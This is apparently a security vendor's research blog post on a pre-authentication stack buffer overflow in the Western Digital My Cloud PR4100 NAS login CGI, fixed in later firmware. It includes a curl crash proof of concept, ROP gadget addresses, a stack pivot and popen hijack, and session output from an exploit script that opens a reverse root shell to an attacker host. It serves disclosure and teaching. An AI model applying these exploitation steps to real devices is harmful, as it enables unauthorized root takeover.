Pwn2Own: A Tale of a Bug Found and Lost Again

January 27, 2021

| | Counter Adversary Operations
In October 2020, the Pwn2Own Tokyo 2020 announcement caught our attention. Even though originally we hadn’t planned to participate, we checked out the target list and decided to take a look at one of the targets to see where that would lead us. Since some on the team had worked on similar devices in the past, we chose the Western Digital My Cloud Pro Series PR4100 NAS. While eagerly waiting for the device to arrive, our researchers decided to download the device firmware from the vendor’s website and begin investigating. Shortly after we started looking into the firmware, we identified a powerful pre-authentication stack-based buffer overflow bug, which turned out to be interesting to exploit on the actual device. However, while we were able to identify two reliable exploitation methods, Western Digital released the initial public version 5.04.114 of My Cloud OS 5 on October 27, 2020. Among other major changes, that version no longer used the vulnerable code we had looked into. With only about a week left until Pwn2Own, we decided not to submit our research and to consider participation in the next iteration, giving us a bit more lead time. Nevertheless, we still wanted to make sure that the bug was indeed fixed properly, so we contacted the Western Digital Product Security Incident Response Team (PSIRT), which quickly confirmed that they were already aware of the issue and that it had been addressed in the latest version 5.04.114 of the firmware. The following provides more details on the vulnerability, some of the challenges that had to be overcome, and how reliable exploitation was found to be possible before the issue was addressed in the latest firmware version.

Overview

ProductMy Cloud Pro Series PR4100
Affected Firmware Versions (without claim for completeness)2.31.204 (2019-12-16) 2.40.155 (2020-07-28) 2.40.157 (2020-10-20)
Fixed Firmware Version5.04.114 (2020-10-27)
CVENo CVE assigned
Root CauseStack-based Buffer Overflow in login_mgr.cgi
ImpactUnauthenticated Remote Code Execution (RCE) as root
SHA256 Hash of Vulnerable login_mgr.cgic565243660ddfd1778c8d4a56191880f547780f53cc11e50c4d3b20fadd01247
ResearchersHanno Heinrichs, Lukas Kupczyk Advanced Research Team, CrowdStrike Intelligence
Western Digital Resources

Attack Surface Enumeration

When assessing the attack surface of a device, one of the first steps is to enumerate its exposed network services. The following list shows services with opened TCP/UDP listeners running on the device: root@MyCloudPR4100 root # netstat -tulpn Active Internet connections (only servers) Proto Local Address

 

 

 

 

 

Foreign Address State

 

PID/Program name tcp

 

0.0.0.0:443

 

 

 

 

 

 

0.0.0.0:*

 

 

 

LISTEN 3320/httpd

 

 

 

 

 

 

 

 

 tcp

 

127.0.0.1:4700

 

 

 

 

 

0.0.0.0:*

 

 

 

LISTEN 4131/cnid_metad tcp

 

0.0.0.0:445

 

 

 

 

 

 

0.0.0.0:*

 

 

 

LISTEN 4073/smbd tcp

 

192.168.178.31:49152

 

 

0.0.0.0:*

 

 

 

LISTEN 3746/upnp_nas_devic tcp

 

0.0.0.0:548

 

 

 

 

 

 

0.0.0.0:*

 

 

 

LISTEN 4130/afpd tcp

 

0.0.0.0:3306

 

 

 

 

 

 

0.0.0.0:*

 

 

 

LISTEN 3941/mysqld tcp

 

0.0.0.0:139

 

 

 

 

 

 

0.0.0.0:*

 

 

 

LISTEN 4073/smbd tcp

 

0.0.0.0:80

 

 

 

 

 

 

 

0.0.0.0:*

 

 

 

LISTEN 3320/httpd

 

tcp

 

0.0.0.0:8181

 

 

 

 

 

 

0.0.0.0:*

 

 

 

LISTEN 1609/restsdk-server tcp

 

0.0.0.0:22

 

 

 

 

 

 

 

0.0.0.0:*

 

 

 

LISTEN 2761/sshd tcp6

 

:::445

 

 

 

 

 

 

 

 

 

:::*

 

 

 

 

 

 

LISTEN 4073/smbd tcp6

 

:::139

 

 

 

 

 

 

 

 

 

:::*

 

 

 

 

 

 

LISTEN 4073/smbd tcp6

 

:::22

 

 

 

 

 

 

 

 

 

:::*

 

 

 

 

 

 

LISTEN 2761/sshd udp

 

0.0.0.0:1900

 

 

 

 

 

 

0.0.0.0:*

 

 

 

 

 

 

 

3746/upnp_nas_devic udp

 

0.0.0.0:24629

 

 

 

 

 

0.0.0.0:*

 

 

 

 

 

 

 

2076/mserver udp

 

172.17.255.255:137

 

 

 

0.0.0.0:*

 

 

 

 

 

 

 

4077/nmbd udp

 

172.17.42.1:137

 

 

 

 

0.0.0.0:*

 

 

 

 

 

 

 

4077/nmbd udp

 

192.168.178.255:137

 

 

0.0.0.0:*

 

 

 

 

 

 

 

4077/nmbd udp

 

192.168.178.31:137

 

 

 

0.0.0.0:*

 

 

 

 

 

 

 

4077/nmbd udp

 

0.0.0.0:137

 

 

 

 

 

 

0.0.0.0:*

 

 

 

 

 

 

 

4077/nmbd udp

 

172.17.255.255:138

 

 

 

0.0.0.0:*

 

 

 

 

 

 

 

4077/nmbd udp

 

172.17.42.1:138

 

 

 

 

0.0.0.0:*

 

 

 

 

 

 

 

4077/nmbd udp

 

192.168.178.255:138

 

 

0.0.0.0:*

 

 

 

 

 

 

 

4077/nmbd udp

 

192.168.178.31:138

 

 

 

0.0.0.0:*

 

 

 

 

 

 

 

4077/nmbd udp

 

0.0.0.0:138

 

 

 

 

 

 

0.0.0.0:*

 

 

 

 

 

 

 

4077/nmbd udp

 

0.0.0.0:30958

 

 

 

 

 

0.0.0.0:*

 

 

 

 

 

 

 

3808/apkg udp

 

0.0.0.0:514

 

 

 

 

 

 

0.0.0.0:*

 

 

 

 

 

 

 

1958/syslogd udp

 

127.0.0.1:23457

 

 

 

 

0.0.0.0:*

 

 

 

 

 

 

 

3985/wdmcserver udp

 

127.0.0.1:46058

 

 

 

 

0.0.0.0:*

 

 

 

 

 

 

 

3746/upnp_nas_devic udp

 

0.0.0.0:48299

 

 

 

 

 

0.0.0.0:*

 

 

 

 

 

 

 

2481/avahi-daemon: udp

 

0.0.0.0:5353

 

 

 

 

 

 

0.0.0.0:*

 

 

 

 

 

 

 

2481/avahi-daemon: While it would be justifiable to conduct an in-depth analysis of each service, we quickly prioritized functionality that is reachable through the device’s Apache HTTP daemon. Due to Apache itself being quite a hardened target, we focused on device-specific functionality implemented through either custom modules or CGI binaries. The configuration file /usr/local/modules/web/apache2/conf/alias.conf contains a directive that instructs Apache to source its CGI binaries for the URL path /cgi-bin/ from the local directory /var/www/cgi-bin/:

 

 root@MyCloudPR4100 root # cat /usr/<...>/apache2/conf/mods-enabled/alias.conf <IfModule alias_module> <...>

 

 

 

ScriptAlias /cgi-bin/ /var/www/cgi-bin/ However, direct access to /cgi-bin/ is restricted by the configuration file rewrite.conf, which uses mod_rewrite to redirect requests that do not originate from localhost to the PHP script located at /web/cgi_api.php. The only exception to this rule is the webpipe.cgi binary, which can be accessed directly. root@MyCloudPR4100 root # cat /usr/<...>/conf/mods-enabled/rewrite.conf <IfModule rewrite_module>

 

 

 

 

 

 

 

RewriteEngine on<...>

 

 

 

 

 

 

RewriteRule ^/xml/(.*) /cgi-bin/webpipe.cgi <...>

 

 

 

<Directory "/var/www/cgi-bin.html">

 

 

 

 

 

 

 

 

 

RewriteCond %{REMOTE_ADDR} !^127\.0\.0\.1$

 

 

 

 

 

 

 

 

 

RewriteCond $1 !^abFiles$

 

 

 

 

 

 

 

 

 

RewriteRule ^(\w*).cgi$ /web/cgi_api.php?cgi_name=$1&%{QUERY_STRING}

 

 

 

 

</Directory> </IfModule> Thus, direct access to most of the CGI binaries is denied for remote users. Instead, access to them is controlled by the PHP script cgi_api.php, which acts as a proxy between remote users and CGI binaries and enforces access restrictions. Each HTTP request is evaluated based on its corresponding PHP session and forwarded to the respective CGI binary in case the session is deemed eligible. For example, authenticated administrative users can access arbitrary CGI binaries, while unauthenticated users can only access login_mgr.cgi, which implements the device’s main authentication mechanism. This circumstance heavily reduces the attack surface, as the Pwn2Own contest rules clearly state that exploits must either be pre-authentication or include an authentication bypass. With the only CGI candidates left being webpipe.cgi and login_mgr.cgi, we had to focus on these, as the PHP CGI wrapper script did not exhibit any obvious vulnerabilities. It was found that webpipe.cgi conducts further access checks that are not likely bypassed. Hence, most of its code is not reachable for unauthenticated users. However, we were able to identify a vulnerability in the CGI binary login_mgr.cgi that could be triggered by unauthenticated remote users.

Vulnerability

The CGI binary login_mgr.cgi implements multiple routines related to the login process. Individual routines can be accessed by providing the POST or GET parameter cmd. For example, the login routine can be invoked by providing the value wd_login as the cmd parameter. The wd_login() routine at address 0x402980 uses the two parameters username and pwd to validate the authentication attempt, and then it composes an HTTP response containing the result in XML. One peculiarity of the implementation is the fact that the password parameter pwd must be provided in Base64 encoding. The relevant pseudo code is shown below (CGI binary did not contain symbols; functions were named after their perceived purpose during analysis): <...>

 

 

char username<32>;

 

 

// BYREF <...> >

 

 

char pwd_decoded<64>; // BYREF

 

 

char pwd_b64<256>;

 

 

// BYREF <...>

 

 

cgiFormString("username", username, 32LL);

 

 

cgiFormString("pwd", pwd_b64, 256LL);

 

 

base64decode(pwd_decoded, pwd_b64, 256);

 

 

pos_dbl_slash = index(username, '\\');

 

 

if ( !pos_dbl_slash )

 

 

{ >

 

 

 

 

if ( is_username_allowed(username) )

 

 

 

 

{

 

 

 

 

 

 

login_successful = check_login(username, pwd_decoded); <...> All buffers (username, pwd_b64, pwd_decoded) are allocated on the stack in the frame of the wd_login() function. The cgiFormString() function copies the username and pwd HTTP parameters into their respective stack buffers, username and pwd_b64. Afterward, the base64decode() function takes the Base64-encoded password (pwd_b64) and stores the decoded result in the pwd_decoded buffer. Internally, glibc’s b64_pton() function is used for decoding. However, b64_pton() is called incorrectly: The size of the target buffer pwd_decoded is specified as 256 bytes, while only 64 bytes have been allocated for it, which is likely a result of confusing the sizes of the target and source buffers at the call site. From the stack layout, it is apparent that the pwd_decoded buffer is located before the pwd_b64 buffer. In Base64 encoding, three bytes of data are mapped to four characters of the Base64 alphabet and vice versa. Therefore, a string of 256 Base64 characters can contain up to 192 bytes of decoded data: 256 characters * ¾ bytes/characters = 192 bytes In the case of login_mgr.cgi, the Base64-decoded data can overflow 128 bytes into the pwd_b64 source buffer. After that, the pwd_b64 buffer is no longer used by wd_login() and a potential out-of-bounds write does not affect the further execution of the program. After Base64-decoding the password, the function checks the username against a list of disallowed usernames. If the check succeeds, the function check_login() is invoked with the username and the Base64-decoded password as its arguments (address 0x404480). The relevant pseudo code of the function check_login() is shown below: <...>

 

 

char password_copy_shadow<80>; // BYREF

 

 

char password_copy_input<88>;

 

// BYREF

 

 

f_shadow = fopen64("/etc/shadow", "r");

 

 

while ( 1 )

 

 

{

 

 

 

 

pwent = fgetpwent(f_shadow);

 

 

 

 

if ( !pwent )

 

 

 

 

 

 

break;

 

 

 

 

if ( !strcmp(pwent->pw_name, username) )

 

 

 

 

{

 

 

 

 

 

 

strcpy(password_copy_shadow, pwent->pw_passwd);

 

 

 

 

 

 

fclose(f_shadow);

 

 

 

 

 

 

strcpy(password_copy_input, pwd_decoded); <...> The file /etc/shadow is read line by line until an entry with a matching username is found. At that point, the password hash from the entry in the shadow file is copied to the stack-based buffer password_copy_shadow using strcpy(). Similarly, the Base64-decoded password that was provided as part of the request is copied from pwd_decoded to the stack-based buffer password_copy_input using the same function. Due to the potential overflow during the Base64 decoding, the memory pointed to by pwd_decoded can contain up to 192 bytes of decoded data. The target buffer password_copy_input has a fixed size of 88 bytes and is adjacent to the saved registers and the saved return address of check_login(). Thus, the invocation of strcpy() with the Base64-decoded password as its source can result in an out-of-bounds write of up to 104 bytes into adjacent memory. In case of check_login(), this allows overwriting the saved registers and its return address. A proof of concept that triggers this vulnerability is shown below: $ curl -i http://192.168.178.31/cgi-bin/login_mgr.cgi -d \

 

'cmd=wd_login&username=admin&pwd='`python -c 'print("X"*256)'` HTTP/1.1 500 Internal Server Error <...> The request results in segmentation fault of the login_mgr.cgi binary: Program received signal SIGSEGV, Segmentation fault. 0x00000000004044e6 in ?? () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA\ ──────────────────────< REGISTERS >───────────────────────

 

RAX

 

0x0 *RBX

 

0xd7755dd7755dd775 *RCX

 

0x4a *RDX

 

0x4 *RDI

 

0x607540 ◂— '$1$$bgT/jMUE9hqiA19BpcmCM0' *RSI

 

0x7fffffffd590 ◂— '$1$$JnmDdozMe7jLVzJ1cGFHU.' *R8

 

0xffff *R9

 

0x6971683945554d6a ('jMUE9hqi') *R10

 

0x7fffffffd140 ◂— 0x0 *R11

 

0x7ffff60af6a0 (free) ◂— mov

 

 

rax, qword ptr *R12

 

0x5dd7755dd7755dd7 *R13

 

0xd7755dd7755dd775

 

R14

 

0x0

 

R15

 

0x0 *RBP

 

0x755dd7755dd7755d *RSP

 

0x7fffffffd658 ◂— 0x755dd7755dd7755d *RIP

 

0x4044e6 ◂— ret <...>

Exploitation

In the previous section, we described a stack-based buffer overflow vulnerability that can be triggered remotely as an unauthenticated user. In this section, we take a closer look at the vulnerability and discuss the difficulties we encountered on our way to successful exploitation. The NAS system is based on a 64-bit x86 CPU architecture and uses a Linux 4.1 kernel: root@MyCloudPR4100 root # uname -a Linux MyCloudPR4100 4.1.13 #1 SMP Mon Jun 29 00:11:44 PDT 2020 Build-git249a60f x86_64 GNU/Linux Further analysis of the CGI binary login_mgr.cgi using file and checksec shows that it was compiled as a 64-bit executable and that compiler hardening flags such as stack canaries and position-independent code/executable (PIC/PIE) are disabled while non-executable memory (NX/DEP) is enabled: $ file login_mgr.cgi login_mgr.cgi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.39, stripped $ checksec --file=login_mgr.cgi RELRO

 

 

 

 

 

 

STACK CANARY

 

 

 

NX

 

 

 

 

 

 

PIE

 

 

 

 

 

RPATH No RELRO

 

 

 

 

No canary found

 

NX enabled

 

 

No PIE

 

 

 

 

 

 

 

No RPATH

 

 

 

 RUNPATH

 

 

 

Symbols

 

 

 

FORTIFY

 

Fortified

 

 

Fortifiable

 

FILE No RUNPATH

 

No Symbols

 

No

 

 

 

0

 

 

 

 

 

 

10

 

 

 

 

 

 

login_mgr.cgi The address space layout randomization (ASLR) security mechanism of the kernel is enabled on the target device, meaning that the stack, the VDSO page, heap segments and libraries will be located at unknown addresses after process creation. root@MyCloudPR4100 root # cat /proc/sys/kernel/randomize_va_space 2 Return-oriented programming (ROP) is a technique commonly used for defeating non-executable memory restrictions. Since login_mgr.cgi is not a position-independent executable, it will always be mapped at a fixed address, so that ROP gadgets can be sourced conveniently from it. In the given case, the CGI will always be mapped at the base address 0x400000. There is one caveat, however: On the x86_64 architecture, the two most significant bytes of a 64-bit user-space address will inevitably be null bytes. The strcpy() function, which eventually carries out the out-of-bounds write operation, will stop at the first occurrence of a null byte in the source buffer. This means that at most one user-space address can be written to the stack, preventing us from using a ROP chain with multiple gadget addresses. Luckily, we can still make the CPU return to one attacker-controlled user-space address upon return from check_login(). The following stack diagram illustrates the program’s states when triggering the vulnerability:
(Click image to enlarge)
To recap, overflowing pwd_decoded with Base64-decoded password data (1) allows us to pass an overly long password to check_login(). This attacker-supplied password may exceed check_login()’s password_copy_input buffer size, and we are therefore able to overwrite the function’s saved registers and its return address (2). Thereby, we can redirect the program’s control flow by supplying the address of a ROP gadget at an offset where it ends up overwriting check_login()’s return address (3). It should be noted that pwd_decoded may contain null bytes, if they occur after the ROP gadget that should overwrite check_login()’s return address. If the first gadget manages to pivot the stack to that memory region, return-oriented programming would allow us to better control the crash, as the gadget chain located there is not subject to the null byte restriction anymore. Therefore, the CGI binary was analyzed for potential stack pivot gadgets. Most of the candidates were gadgets that added a fixed offset to the RSP register. Unfortunately, most of the offsets were either too big or too small to make the RSP register point to the Base64-decoded password. The best gadget that we could find is located at address 0x403bfe and allows us to fully control the RBX register before making another single jump. The potential stack pivot gadgets were identified with the help of the tool ROPgadget.py: $ ROPgadget.py --binary login_mgr.cgi Gadgets information ============================================================ <...> 0x0000000000403bfe : lea rsp, ; pop rbx ; ret <...> With this pivot, it was only possible to chain one more gadget, since the stack pivot results in the RSP register almost pointing to the end of the user-controlled data, as shown in the following calculation: In <1>: hex( 0x7f00c8 + 8 + 0x140 ) # RSP+ret into pivot gadget+pivot offset Out<1>: '0x7f0210' Immediately before the ret instruction of check_login() is executed, the RSP register points to 0x7f00c8. It is then advanced by 8 (ret into stack pivot gadget) and by 0x140 (pivot offset). Comparing this result to the stack layout above, the distance between the new value of the RSP register and the end of the user-controlled data at 0x7f0220 is exactly 16 bytes, so that we are now able to set the RBX register and return to an arbitrary address by using the final 16 bytes of the attacker-controlled buffer. With the initial restrictions slightly lifted, we analyzed the CGI binary for suitable jump targets that would give us even more control over the process.

Primary Exploitation Strategy

It was noticed that the CGI binary frequently uses popen() and system() to execute shell commands. One location at address 0x402c45 looked very promising. The rep movsq instruction copies 976 bytes (or 122 quad words, see next section) from the memory location designated by the RSI register to the memory location that the RDI register points to (0x607540). .text:0000000000402C45

 

 

 

 

 

 

 

 

rep movsq .text:0000000000402C48

 

 

 

 

 

 

 

 

mov

 

 

eax, .text:0000000000402C4A

 

 

 

 

 

 

 

 

mov

 

 

esi, offset aR

 

; type .text:0000000000402C4F

 

 

 

 

 

 

 

 

mov

 

 

, eax .text:0000000000402C51

 

 

 

 

 

 

 

 

movzx

 

eax, cs:byte_405EB4 .text:0000000000402C58

 

 

 

 

 

 

 

 

mov

 

 

, al .text:0000000000402C5B

 

 

 

 

 

 

 

 

lea

 

 

rdi,

 

 

 

; command .text:0000000000402C5E

 

 

 

 

 

 

 

 

call

 

 

_popen Going back to the crash, one can see that the RDI register points to writable memory in the BSS segment of the CGI binary, and the RSI register points to the password hash that was read from the shadow file. The user-controlled Base64-encoded password is located 272 bytes further: pwndbg> x/s $rsi 0x7fffffffd590: "$1$$JnmDdozMe7jLVzJ1cGFHU." pwndbg> x/s $rsi+272 0x7fffffffd6a0: 'X' <repeats 127 times> Therefore, in the context of our target, the rep movsq instruction, this will copy data that is partially controlled by the user to the BSS segment of the CGI binary, which is located at a known address. Next, the type argument for the popen() call is prepared at address 0x402c4a. The remaining mov(zx) instructions are irrelevant for our goal. The lea instruction at address 0x402c5b prepares the command argument for the popen() call by copying the RBX register to the RDI register. Finally, the popen() function is called at address 0x402c5e. Together with our stack pivot gadget, which allows us to point the RBX register to our controlled data that now resides in the BSS segment, we can effectively control the command argument of the popen() call and thereby achieve unauthenticated remote code execution as root. The attack was implemented as a Python script named login_mgr_rce.py. It takes the URL of the targeted device (url) and the IP address of the attacker’s host (lhost) as arguments. Optionally, one can specify a custom username to be used during exploitation. The script starts a listening socket, builds the ROP chain (which executes a Bash-based connect back shell), sends the HTTP request, and waits for the incoming connection of the connect back shell. It then uses Python’s telnetlib module to allow user interaction with the remote shell: $ ./login_mgr_rce.py -h usage: login_mgr_rce.py <-h> <-u USER> url lhost positional arguments:

 

 

url

 

 

lhost optional arguments:

 

 

-h, --help

 

 

 

 

 

 

show this help message and exit

 

 

-u USER, --user USER $ ./login_mgr_rce.py http://192.168.178.31 192.168.178.41 <*> Target URL: http://192.168.178.31/cgi-bin/login_mgr.cgi <+> Started reverse shell listener on port 38287 <+> Building ROP chain <+> Sending magic HTTP request <*> Waiting for reverse shell <+> Accepted connection from ('192.168.178.31', 36288) <+> Enjoy your shell! bash: no job control in this shell bash-4.2# id id uid=0(root) gid=0(root) groups=0(root) bash-4.2# uname -a uname -a Linux MyCloudPR4100 4.1.13 #1 SMP Mon Jun 29 00:11:44 PDT 2020 Build-git249a60f x86_64 GNU/Linux bash-4.2#

 

Limit Analysis of rep movsq

In this section, we analyze how much data the rep movsq instruction that we leveraged earlier will actually copy. As the rep prefix uses RCX’s value to determine how often the movsq instruction is executed, we need to trace back its value. Thus, we analyzed the code between the vulnerable call to strcpy() in check_login() and the retn instruction where our ROP chain assumes initial control. We noticed that the register is last modified by a call to strcmp() at address 0x404535, which compares the computed password hash to the stored one. In our case, the comparison looked like this:

 

► 0x404535

 

 

call

 

strcmp@plt <strcmp@plt>

 

 

 

 

 

 

 

 

s1: 0x607540 ◂— '$1$$2c56ZJLNA4jkKUtQFyhpl.'

 

 

 

 

 

 

 

 

s2: 0x7fffffffd590 ◂— '$1$$JnmDdozMe7jLVzJ1cGFHU.' pwndbg> x/s $rdi 0x607540:

 

 

 

"$1$$2c56ZJLNA4jkKUtQFyhpl." pwndbg> x/s $rsi 0x7fffffffd590: "$1$$JnmDdozMe7jLVzJ1cGFHU." On the target device, strcmp() is resolved to __strcmp_ssse3() by the dynamic linker. At the end of that function, the difference of the last two compared characters is computed: .text:0000000000124E30

 

 

 

 

 

 

 

 

bsf

 

 

rdx, rdx .text:0000000000124E34

 

 

 

 

 

 

 

 

movzx

 

ecx, byte ptr .text:0000000000124E38

 

 

 

 

 

 

 

 

movzx

 

eax, byte ptr .text:0000000000124E3C

 

 

 

 

 

 

 

 

sub

 

 

eax, ecx .text:0000000000124E3E

 

 

 

 

 

 

 

 

retn .text:0000000000124E3E __strcmp_ssse3

 

endp First, the Bit Scan Forward (bsf) instruction stores the offset of the first differing character in the RDX register. Next, that character is loaded from the password hash previously read from the shadow file into the ECX register while the corresponding character from the computed hash is stored in EAX. Considering the crypt() alphabet of decimals, uppercase and lowercase alphabet, dot, and slash, ECX may range from 0x2e (“.”) to 0x7a (“z”). By coincidence, this value therefore specifies the number of quad words (8 bytes) that will get copied by the rep movsq instruction during the execution of our ROP chain. In case of the smallest possible value, 368 bytes would get copied, and in case of the largest possible value, 976 bytes would get copied. root@MyCloudPR4100 cgi-bin # cat /proc/9203/maps 00400000-00407000 r-xp 00000000 07:00 3586 /usr/<...>/cgi/login_mgr.cgi 00607000-00608000 rw-p 00007000 07:00 3586 /usr/<...>/cgi/login_mgr.cgi <...> From the memory layout, it is apparent that the mapped BSS section got mapped to the segment at 0x00607000-0x00608000. Luckily, the copy operation facilitated by the rep movsq instruction will never write past the end of the segment, even if the maximum of 976 bytes is copied. Since the RDI register has a value of 0x607540 in our scenario, this can be verified as follows: In <1>: 0x607540 + 976 <= 0x608000| Out<1>: True

Alternative Exploitation Strategy

Another successful exploitation strategy for the vulnerability is to brute force a valid heap address pointing to an attacker-controlled string. On the target device, address space layout randomization is enabled. As our target service is not a forking server, which might allow a byte-wise brute-force attack, in theory brute-force guessing of addresses should be infeasible. To our surprise, we found that the location of the heap segment was not properly randomized by the kernel in the prior firmware version that we looked at. This behavior seemed to affect any process on the target system and was not limited to the login_mgr.cgi binary. While sampling heap addresses a number of times, the lowest and highest observed start addresses of the heap were only located approximately 31 MB apart. This allowed us to use our stack pivot together with the following gadget to guess a valid heap address for attacker-controlled data, load it into RBX, and thereby pass it to popen(): .text:0000000000402C5B

 

 

 

 

 

 

 

 

lea

 

 

rdi,

 

 

 

; command .text:0000000000402C5E

 

 

 

 

 

 

 

 

call

 

 

_popen If RBX points to a valid shell command, the command will be executed through the popen() call. To increase our odds of guessing “the right address,” we sprayed the heap by appending arbitrarily named POST parameters that contained the desired shell command prefixed by a long “space slide.” On average, code execution was regularly achieved after 190 attempts, which in our test setup took approximately 10 to 15 seconds. The average was calculated over 30 runs, and the system was rebooted after 10 and 20 runs. The root cause of the weak randomization was not explored further.

Summary

In this blog, we described our journey of identifying and exploiting a pre-authentication stack-based buffer overflow vulnerability on the Western Digital My Cloud Pro Series PR4100 NAS that can be used to gain remote access to the device as root. Two successful strategies that both allowed for fast and reliable exploitation of the vulnerability were established and discussed in depth. The research started as an experiment after the announcement of the Pwn2Own Tokyo 2020. Since the vulnerable code was removed shortly before the contest, we decided not to participate but wanted to share our results nonetheless. We hope you enjoyed reading this blog, and we welcome your feedback. We would like to thank the Western Digital PSIRT for their swift response when contacted about the issue.

Additional Resources
Breaches Stop Here
Related Content
A Look Back: The Evolution of Latin American eCrime Malware in 2024
A Look Back: The Evolution of Latin American eCrime Malware in 2024
Unveiling LIMINAL PANDA: A Closer Look at China's Cyber Threats to the Telecom Sector
Unveiling LIMINAL PANDA: A Closer Look at China's Cyber Threats to the Telecom Sector
U.S. Department of Justice Indicts Hacktivist Group Anonymous Sudan for Prominent DDoS Attacks in 2023 and 2024
U.S. Department of Justice Indicts Hacktivist Group Anonymous Sudan for Prominent DDoS Attacks in 2023 and 2024